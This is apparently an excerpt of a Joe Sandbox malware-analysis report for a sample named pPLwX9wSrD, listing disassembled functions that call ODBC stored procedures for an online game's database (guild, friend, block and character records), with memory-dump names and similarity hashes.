                                                                                                                            • Instruction Fuzzy Hash: 802115B0A80317ABEB24CF64CC42FBA73B4FB44714F14C199F6646E2C4D9B169408F98
                                                                                                                            Function 0042B5E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_InsSubGuild](?,?) } ,000000FD), ref: 0042B609
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042B648
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042B67D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042B6B5
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_InsSubGuild](?,?) } , xrefs: 0042B600
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_InsSubGuild](?,?) }
                                                                                                                            • API String ID: 0-3984345258
                                                                                                                            • Opcode ID: 5f23991be715bd475d8cc4ed6dbfc0e4424e3b340cb7eb0008ec88f5b33a1f44
                                                                                                                            • Instruction ID: a9205ad46e27d329a265768c2d2b7b9d471a15ef846da9abcca373fc6ec8e0cc
                                                                                                                            • Opcode Fuzzy Hash: 5f23991be715bd475d8cc4ed6dbfc0e4424e3b340cb7eb0008ec88f5b33a1f44
                                                                                                                            • Instruction Fuzzy Hash: 9321F1B0A40218ABEB25CF44DC52FA97378EB84B54F10828EF7187E2C4D6F56E408F58
                                                                                                                            Function 00430594 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_ConsignUnregistItem] (?,?)},000000FD), ref: 004305BD
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004305FC
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000EE,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00430631
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000EE,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000EE,00000004,00000000), ref: 00430669
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_ConsignUnregistItem] (?,?)}, xrefs: 004305B4
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_ConsignUnregistItem] (?,?)}
                                                                                                                            • API String ID: 0-701866484
                                                                                                                            • Opcode ID: cb09bc780090d4ca337e46ff4a27ea4c8a7dfbca76ec29572fa6bdcf1e253c7f
                                                                                                                            • Instruction ID: 1c0449da600a8c69dc7d245723ef59ad2075d2adb26c2e4aac11e1d665ddc6c3
                                                                                                                            • Opcode Fuzzy Hash: cb09bc780090d4ca337e46ff4a27ea4c8a7dfbca76ec29572fa6bdcf1e253c7f
                                                                                                                            • Instruction Fuzzy Hash: CA21FFB0E48318ABFB649F44CC42F997375EB84714F108189F71C6A2C0D6B97A80DF59
                                                                                                                            Function 0043262A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_RemoveFriend] (?,?)},000000FD), ref: 00432653
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00432692
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004326C7
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004326FF
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_RemoveFriend] (?,?)}, xrefs: 0043264A
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_RemoveFriend] (?,?)}
                                                                                                                            • API String ID: 0-4163439245
                                                                                                                            • Opcode ID: 03648da460d34cf59bd16445d08fe2a8f445aec4ca6272b66cb29876cabe5d86
                                                                                                                            • Instruction ID: 849affcfa7f35926e93327f17b24a35a494651ba9d8e58dda039607b82e664da
                                                                                                                            • Opcode Fuzzy Hash: 03648da460d34cf59bd16445d08fe2a8f445aec4ca6272b66cb29876cabe5d86
                                                                                                                            • Instruction Fuzzy Hash: 2021EDB4A4521CAFFB24CF44CC52FAA7374EB84B14F108289F7186B2C6D6B579408F58
                                                                                                                            Function 004256BA Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_DelNGuildMember] (?,?) } ,000000FD), ref: 004256E3
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00425722
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00425757
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042578F
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_DelNGuildMember] (?,?) } , xrefs: 004256DA
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_DelNGuildMember] (?,?) }
                                                                                                                            • API String ID: 0-907349996
                                                                                                                            • Opcode ID: ce8e569c5683d2a3190c459b6ad56fc7654ab763420f25e9bc356eef50ed5459
                                                                                                                            • Instruction ID: a89cf86553cac1b60b69b786027718c04c550c4f50add10539911f3346664f29
                                                                                                                            • Opcode Fuzzy Hash: ce8e569c5683d2a3190c459b6ad56fc7654ab763420f25e9bc356eef50ed5459
                                                                                                                            • Instruction Fuzzy Hash: 6E2124B0684218ABFB60CF64CC46FDA7374EB44B14F608289F71C6E2C4D6B16D808F58
                                                                                                                            Function 004327B3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_AddBlock] (?,?)},000000FD), ref: 004327DC
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043281B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00432850
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00432888
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_AddBlock] (?,?)}, xrefs: 004327D3
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_AddBlock] (?,?)}
                                                                                                                            • API String ID: 0-2554191235
                                                                                                                            • Opcode ID: b77b16bcbd88cd323f98291cb56693138cf2bd1f3ffd9d6793eb3108f02d8bbc
                                                                                                                            • Instruction ID: d973408020a910beba663a5201bc7745a6ac8ed0c215cf25a4d92be7cdc524ec
                                                                                                                            • Opcode Fuzzy Hash: b77b16bcbd88cd323f98291cb56693138cf2bd1f3ffd9d6793eb3108f02d8bbc
                                                                                                                            • Instruction Fuzzy Hash: 5421F4B1645218BBFB24CF54CC52FAA7374EB88714F104289F6146E2C6D6B5AD408F58
                                                                                                                            Function 00432892 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_RemoveBlock] (?,?)},000000FD), ref: 004328BB
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004328FA
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043292F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00432967
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_RemoveBlock] (?,?)}, xrefs: 004328B2
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_RemoveBlock] (?,?)}
                                                                                                                            • API String ID: 0-3416181401
                                                                                                                            • Opcode ID: 0bc4abba7e81e77f6b283709453c35c59c5142b22c882716310a586213b4f2c0
                                                                                                                            • Instruction ID: 9c85ae958ee67050bf6495e597a7b0a53e65e6d8dd400fb0ba99840f87a114cf
                                                                                                                            • Opcode Fuzzy Hash: 0bc4abba7e81e77f6b283709453c35c59c5142b22c882716310a586213b4f2c0
                                                                                                                            • Instruction Fuzzy Hash: 9E21F1B1A42218ABFB24DF44CD52FAA7374EB84B14F114289F7186E2C6D6B57E40CF58
                                                                                                                            Function 0042B9E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_DelCharacter](?,?)} ,000000FD), ref: 0042BA0B
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042BA4A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042BA7F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042BAB7
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_DelCharacter](?,?)} , xrefs: 0042BA02
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
